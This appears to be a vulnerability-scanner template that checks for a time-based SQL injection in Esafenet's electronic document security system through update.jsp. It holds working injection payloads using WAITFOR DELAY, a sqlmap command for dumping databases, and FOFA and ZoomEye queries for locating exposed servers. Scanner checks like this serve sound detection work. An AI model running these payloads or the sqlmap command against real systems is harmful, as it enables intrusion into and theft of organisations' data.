esafenet-update-time-sqli-1: 亿赛通文档安全管理系统update.jsp sql时间注入

id: esafenet-update-time-sqli-1

info:
  name: 亿赛通文档安全管理系统update.jsp sql时间注入
  author: zan8in
  severity: high
  verified: true
  description: |-
    亿赛通电子文档安全管理系统update.jsp存在延迟注入。
    python3 sqlmap.py -u "https://xxxxx/CDGServer3/workflowE/useractivate/update.jsp?flag=1&ids=1,3)" --batch --dbs
    fofa: title="电子文档安全管理系统" && product="亿赛通-电子文档安全管理系统"
    zoomeye: app:"亿赛通电子文档安全管理系统"
  reference:
    - https://mp.weixin.qq.com/s/ClWs4d3l_2ZsNvCJFiY9gg
  tags: esafenet,sqli
  created: 2023/10/18

rules:
  r0:
    request:
      method: GET
      path: "/CDGServer3/workflowE/useractivate/update.jsp?flag=1&ids=1,3);WAITFOR DELAY '00:00:10'--"
    expression: response.body.bcontains(b'激活成功！激活人数为') && response.latency <= 11000 &&  response.latency >= 10000
  r1:
    request:
      method: GET
      path: "/CDGServer3/workflowE/useractivate/update.jsp?flag=1&ids=1,3);WAITFOR DELAY '00:00:5'--"
    expression: response.body.bcontains(b'激活成功！激活人数为') && response.latency <= 6000 &&  response.latency >= 5000
expression: r0() && r1()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.